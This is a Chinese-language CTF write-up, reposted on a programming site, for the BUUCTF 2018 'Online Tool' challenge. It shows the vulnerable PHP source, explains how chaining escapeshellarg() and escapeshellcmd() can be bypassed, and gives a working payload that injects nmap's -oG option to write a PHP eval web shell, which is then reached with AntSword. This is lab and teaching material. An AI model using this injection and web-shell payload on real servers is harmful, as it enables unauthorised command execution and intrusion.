IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> [BUUCTF 2018]Online Tool -> 正文阅读

[PHP知识库][BUUCTF 2018]Online Tool

前言

知识点
首先得了解这几个函数以及nmap的作用以及用法
escapeshellarg()
escapeshellcmd()
@mkdir
chdir
nmap
放一篇讲的很好的关于escapeshellarg和escapeshellcmd函数的文章
谈谈escapeshellarg参数绕过和注入的问题
个人理解:
escapeshellarg()
是将一段字符串改为能够在shell 命令里使用的参数
大概就是在一串字符如 hello world 的首尾加上’ 英文的单引号 变成'hello world'
如果字符串是这样的 hello ' world 就会在出现的 ’ 前面加一个 \ 并且为之前后添加 ’ 也就是说如果出现 ’ 就会变化为—> '\'' 最后字符串就变成了'hello '\'' world'

escapeshellcmd()
反斜线(\)会在以下字符之前插入: &#;`|?~<>^()[]{}$, \x0A 和 \xFF。 *’ 和 “ 仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替
比如出现最简单的xss代码

<script>alert(1)</script>

就会被改写成/<script/>alert/(1/)/<//script/> 变得不再是xss了而且\的前后是不会加'

总是感觉做的每道题对于自己来说都是举步维艰 太难了然后反省自己真菜

打开环境

<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

最上面那个if语句大概的意思是添加X-Forwarded-For头和值然后传给REMOTE_ADDR与后面的代码其实是没有多大的冲突可以跳过

传递的host值会经过escapeshellarg与escapeshellcmd检测但是我们只能硬着头皮来干这两个函数不然过不了关啊了难受。

看了大量WP与资料之后,要注意的就是nmap的使用其中一个就是可以用nmap来写文件 具体用法为 namp <?php phpinfo(); ?> -oG 1.php

然后有了这个用法之后我们就能从写入文件的方法来做题了 大致就是写入一句话然后蚁剑或者菜刀。

简单一句话<?php eval($GET_["cmd"]);?>在经过escapeshellarg()函数之后就会变成'<?php eval($GET_["cmd"]);?>'

在经过escapeshellcmd()函数之后就会变成\'\<\?php eval\(\$GET_\["cmd"\]\)\;\?\>\'

但是由于环境在linux上面而且我们输入的系统函数中的\就会被解析为转义字符但转义字符后面未跟特殊的字符时相当于没有使用就可以省略最后应该还是变成

'<?php eval($GET_["cmd"]);?>'

此时我们就需要将前后两个单引号给闭合掉 所以最后的payload:?host=' <?php eval($_GET["cmd"]);?> -oG 1.php '

最后收尾用蚁剑连接 注意因为代码中有mkdir和chdir函数的缘故导致我们创建的一句话木马文件在它自动生成的md5目录之下也就是在这个目录下面在这里插入图片描述
最后flag就在根目录下面了

总结

了解escapeshellarg()和escapeshellcmd()函数
nmap的一些基本命令
xdm一定要好好学习啊

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-08-15 15:18:07  更:2021-08-15 15:18:38 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/14 11:42:49-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码